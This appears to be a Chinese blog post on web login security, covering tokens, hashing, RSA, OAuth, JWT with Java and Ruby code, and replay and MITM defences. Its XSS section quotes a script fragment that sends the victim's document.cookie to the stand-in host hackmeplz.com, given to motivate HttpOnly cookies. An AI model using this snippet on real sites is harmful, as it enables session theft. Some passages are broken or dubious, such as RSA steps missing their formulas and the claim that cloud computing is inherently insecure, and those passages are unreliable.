粗略地分析, 登录机制主要分为登录验证、登录保持、登出三个部分。登录验证是指客户端提供用户名和密码,向服务器提出登录请求,服务器判断客户端是否可以登录并向客户端确认。 登录认保持是指客户端登录后, 服务器能够分辨出已登录的客户端,并为其持续提供登录权限的服务器。登出是指客户端主动退出登录状态。容易想到的方案是,客户端登录成功后, 服务器为其分配sessionId, 客户端随后每次请求资源时都带上sessionId。
上述简易的登录验证策略存在明显的安全漏洞,需要优化。
1.1.1 密码的传输
客户端第一次发出登录请求时, 用户密码以明文的方式传输, 一旦被截获, 后果严重。因此密码需要加密,例如可采用RSA非对称加密。具体流程如下:
1.1.2 登录状态token
再仔细核对上述登录流程, 我们发现服务器判断用户是否登录, 完全依赖于sessionId, 一旦其被截获, 黑客就能够模拟出用户的请求。于是我们需要引入token的概念: 用户登录成功后, 服务器不但为其分配了sessionId, 还分配了token, token是维持登录状态的关键秘密数据。在服务器向客户端发送的token数据,也需要加密。于是一次登录的细节再次扩展。
在最原始的方案中, 登录保持仅仅靠服务器生成的sessionId: 客户端的请求中带上sessionId, 如果服务器的redis中存在这个id,就认为请求来自相应的登录客户端。 但是只要sessionId被截获, 请求就可以为伪造, 存在安全隐患。
引入token后,上述问题便可得到解决。 服务器将token和其它的一些变量, 利用散列加密算法得到签名后,连同sessionId一并发送给服务器; 服务器取出保存于服务器端的token,利用相同的法则生成校验签名, 如果客户端签名与服务器的校验签名一致, 就认为请求来自登录的客户端。
1.3 TOKEN失效
用户登录出系统
失效原理:
在服务器端的redis中删除相应key为session的键值对。
散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度。加密性强的散列一定是不可逆的,这就意味着通过散列结果,无法推出任何部分的原始信息。任何输入信息的变化,哪怕仅一位,都将导致散列结果的明显变化,这称之为雪崩效应。散列还应该是防冲突的,即找不出具有相同散列结果的两条信息。具有这些特性的散列结果就可以用于验证信息是否被修改。
散列算法可以用来加密token生成签名, 以便token信息不暴露在网络同时还能验证登录的有效性。
全写: Message Digest Algorithm MD5(中文名为消息摘要算法第五版)
输出: 128bit
MD5算法具有以下特点:
1、压缩性:任意长度的数据,算出的MD5值长度都是固定的。
2、容易计算:从原数据计算出MD5值很容易。
3、抗修改性:对原数据进行任何改动,哪怕只修改1个字节,所得到的MD5值都有很大区别。
4、弱抗碰撞:已知原数据和其MD5值,想找到一个具有相同MD5值的数据(即伪造数据)是非常困难的。
5、强抗碰撞:想找到两个不同的数据,使它们具有相同的MD5值,是非常困难的。
缺陷:
Md5一度被认为十分靠谱。
2004年8月17日的美国加州圣巴巴拉的国际密码学会议(Crypto’2004)上,来自中国山东大学的王小云教授做了破译MD5、HAVAL-128、 MD4和RIPEMD算法的报告,公布了MD系列算法的破解结果。
2009年,冯登国、谢涛二人利用差分攻击,将MD5的碰撞算法复杂度从王小云的2^42进一步降低到2^21,极端情况下甚至可以降低至2^10。仅仅2^21的复杂度意味着即便是在2008年的计算机上,也只要几秒便可以找到一对碰撞。
Md5已老, 在安全性要求较高的场合,不建议使用。
全名: 安全哈希算法(Secure Hash Algorithm)
输出: 160bit
2.2.1 与Md5比较
相同点:
因为二者均由MD4导出,SHA-1和MD5彼此很相似。相应的,他们的强度和其他特性也是相似。
不同点:
1. 对强行攻击的安全性:最显著和最重要的区别是SHA-1摘要比MD5摘要长32 位。使用强行技术,产生任何一个报文使其摘要等于给定报摘要的难度对MD5是2^128数量级的操作,而对SHA-1则是2^160数量级的操作。这样,SHA-1对强行攻击有更大的强度。
2. 对密码分析的安全性:由于MD5的设计,易受密码分析的攻击,SHA-1显得不易受这样的攻击。
3. 速度:在相同的硬件上,SHA-1的运行速度比MD5慢。
所谓加盐, 就是在原本需要加密的信息基础上,糅入其它内容salt。签名的生成就是一次加盐。
本系统使用对称加密对用户密码进行加密以及生成token字符串。
AuthCode是康盛科技发明的加密方式, 开源产品Discuz的密码是用这个算法进行加密。但是有点遗憾,这个函数所有权属于康盛创想,并不能自由使用的。不知使用是否有风险??
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。
RSA是目前最有影响力的公钥加密算法,它能够抵抗到目前为止已知的绝大多数密码攻击,已被ISO推荐为公钥数据加密标准。RSA的安全基于大数分解的难度。其公钥和私钥是一对大素数(100到200位十进制数或更大)的函数。从一个公钥和密文恢复出明文的难度,等价于分解两个大素数之积(这是公认的数学难题)。
算法描述:
(1)选择一对不同的、足够大的素数p,q。
(2)计算n=pq。
(3)计算f(n)=(p-1)(q-1),同时对p, q严加保密,不让任何人知道。
(4)找一个与f(n)互质的数e(公钥指数),且1
注,≡是数论中表示同余的符号。
(6)公钥KU=(e,n),私钥KR=(d,n)。
(7)加密时,先将明文变换成0至n-1的一个整数M。若明文较长,可先分割成适当的组,然后再进行交换。设密文为C,则加密过程为:。
(8)解密过程为:。
HTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password,简言之,Basic Auth是配合RESTful API 使用的最简单的认证方式,只需提供用户名密码即可,但由于有把用户名密码暴露给第三方客户端的风险,在生产环境下被使用的越来越少。因此,在开发对外开放的RESTful API时,尽量避免采用HTTP Basic Auth
OAuth(开放授权)是一个开放的授权标准,允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应用。
OAuth允许用户提供一个令牌,而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如,视频编辑网站)在特定的时段(例如,接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样,OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息,而非所有内容
下面是OAuth2.0的流程:
这种基于OAuth的认证机制适用于个人消费者类的互联网产品,如社交类APP等应用,但是不太适合拥有自有认证权限管理的企业应用;
Cookie认证机制就是为一次请求认证在服务端创建一个Session对象,同时在客户端的浏览器端创建了一个Cookie对象;通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的,当我们关闭浏览器的时候,cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效;
Token Auth的优点
Token机制相对于Cookie机制又有什么好处呢?
JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其
一个JWT实际上就是一个字符串,它由三部分组成,头部、载荷与签名。
载荷(Payload)
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "[email protected]",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "[email protected]",
"Role": [ "Manager", "Project Administrator" ]
}
将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9
小知识:Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个比特为一个单元,对应某个可打印字符。三个字节有24个比特,对应于4个Base64单元,即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder,用它们可以非常方便的完成基于 BASE64 的编码和解码
头部(Header)
JWT还需要一个头部,头部用于描述关于该JWT的最基本的信息,例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。
{
"typ": "JWT",
"alg": "HS256"
}
在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码,编码后的字符串如下:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
签名(Signature)
将上面的两个编码后的字符串都用句号.连接在一起(头部在前),就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0
最后,我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候,我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话,那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
最后将这一部分签名也拼接在被签名的字符串后面,我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
在我们的请求URL中会带上这串JWT字符串:
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
下面我们从一个实例来看如何运用JWT机制实现认证:
登录
请求认证
基于Token的认证机制会在每一次请求中都带上完成签名的Token信息,这个Token信息可能在COOKIE
中,也可能在HTTP的Authorization头中;
对Token认证机制有5点直接注意的地方:
Java中对JWT的支持可以考虑使用JJWT开源库;JJWT实现了JWT, JWS, JWE 和 JWA RFC规范;下面将简单举例说明其使用:
生成Token码
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;
//Sample method to construct a JWT
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
//Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
.setIssuedAt(now)
.setSubject(subject)
.setIssuer(issuer)
.signWith(signatureAlgorithm, signingKey);
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
long expMillis = nowMillis + ttlMillis;
Date exp = new Date(expMillis);
builder.setExpiration(exp);
}
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}
解码和验证Token码
import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()
.setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
.parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}
如何保证用户名/密码验证过程的安全性;因为在验证过程中,需要用户输入用户名和密码,在这一过程中,用户名、密码等敏感信息需要在网络中传输。因此,在这个过程中建议采用HTTPS,通过SSL加密传输,以确保通道的安全性。
浏览器可以做很多事情,这也给浏览器端的安全带来很多隐患,最常见的如:XSS攻击:跨站脚本攻击(Cross Site Scripting);如果有个页面的输入框中允许输入任何信息,且没有做防范措施,如果我们输入下面这段代码:
a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息,并发送到 hackmeplz.com;那么我们如何来防范这种攻击呢?
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中,我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly;
所谓重放攻击就是攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统,黑客还是可以利用窃取的Token模拟正常请求,而服务器端对此完全不知道,以为JWT机制是无状态的。
针对这种情况,有几种常用做法可以用作参考:
1、时间戳 +共享秘钥
这种方案,客户端和服务端都需要知道:
客户端
auth_header = JWT.encode({
user_id: 123,
iat: Time.now.to_i, # 指定token发布时间
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后,2秒时间足够一次HTTP请求,同时在一定程度确保上一次token过期,减少replay attack的概率;
}, "")
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
class ApiController < ActionController::Base
attr_reader :current_user
before_action :set_current_user_from_jwt_token
def set_current_user_from_jwt_token
# Step 1:解码JWT,并获取User ID,这个时候不对Token签名进行检查
# the signature. Note JWT tokens are *not* encrypted, but signed.
payload = JWT.decode(request.authorization, nil, false)
# Step 2: 检查该用户是否存在于数据库
@current_user = User.find(payload['user_id'])
# Step 3: 检查Token签名是否正确.
JWT.decode(request.authorization, current_user.api_secret)
# Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 如果过期则返回401
end
rescue JWT::DecodeError
# 返回 401
end
end
2、时间戳 +共享秘钥+黑名单 (类似Zendesk的做法)
客户端
auth_header = JWT.encode({
user_id: 123,
jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次,防止replace attack
iat: Time.now.to_i, # 指定token发布时间.
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后
}, "")
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
def set_current_user_from_jwt_token
# 前面的步骤参考上面
payload = JWT.decode(request.authorization, nil, false)
@current_user = User.find(payload['user_id'])
JWT.decode(request.authorization, current_user.api_secret)
now = Time.now.to_i
if payload['iat'] > now || payload['exp'] < now
# 返回401
end
# 下面将检查确保这个JWT之前没有被使用过
# 使用Redis的原子操作
# The redis 的键: :
key = "#{payload['user_id']}:#{payload['jti']}"
# 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
if redis.getset(key, "1")
# 返回401
#
end
# 进行键值过期检查
redis.expireat(key, payload['exp'] + 2)
end
所谓MITM攻击,就是在客户端和服务器端的交互过程被监听,比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等;
针对这类攻击的办法使用HTTPS,包括针对分布式应用,在服务间传输像cookie这类敏感信息时也采用HTTPS;所以云计算在本质上是不安全的。
shiro的优势,不需要再代码里面判断是否登录,是否有执行的权限,实现了从前端页面到后台代码的权限的控制非常的灵活方便
传统的登录认证方式是,从前端页面获取到用户输入的账号和密码之后,直接去数据库查询账号和密码是否匹配和存在,如果匹配和存在就登录成功,没有就提示错误
而shiro的认证方式则是,从前端页面获取到用户输入的账号和密码之后,传入给一个UsernamePasswordToken对象也就是令牌,
然后再把令牌传给subject,subject会调用自定义的 realm,
realm做的事情就是用前端用户输入的用户名,去数据库查询出一条记录(只用用户名去查,查询拿到返回用户名和密码),然后再把两个密码进行对比,不一致就跑出异常
也就是说如果subject.login(token);没有抛出异常,就表示用户名和密码是匹配的,表示登录成功。
【参考资料】希望对大家有用!
登陆:极验证+手机验证/APP人脸虹膜验证 (验证基本符合要求,如果特殊可以对接api进行公安部认证)
登陆:微信公众号二维码扫描验证 (绑定已验证身份的管理员)
登陆:一次登陆+二次登陆验证(双重验证) 设置2-3分钟时间,第二次验证未成功,直接退出
1、Android App 安全登录认证解决方案 - https://blog.csdn.net/zhaoxiaojian1213/article/details/79472120
2、手势验证码(VAPTCHA) - 人机验证安全新标准 https://www.vaptcha.com/
3、GEETEST极验—让互联网交互安全更美好 http://www.geetest.com/
4、腾讯验证码 - 智能的人机安全验证,微信/QQ都在使用 https://007.qq.com/product.html
5、即时通讯_API数据接口_免费数据调用-聚合数据 https://www.juhe.cn/docs/index/cid/13
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8、谷歌的验证码,请移步至谷歌开发者社区
9、无痕验证WEB/HTML5使用说明_人机验证-使用说明_用户指南_数据风控-阿里云 https://help.aliyun.com/document_detail/66308.html
10、创蓝短信手机验证一键登录
以前还有洋葱验证,只可惜项目去年就中断哒。dnspod创始人的精品力作,而且当时迎合了大部分开发者的需求。关键是免费使用的,看来开源和免费的,最终DOU是要靠商业来维持正常运作的…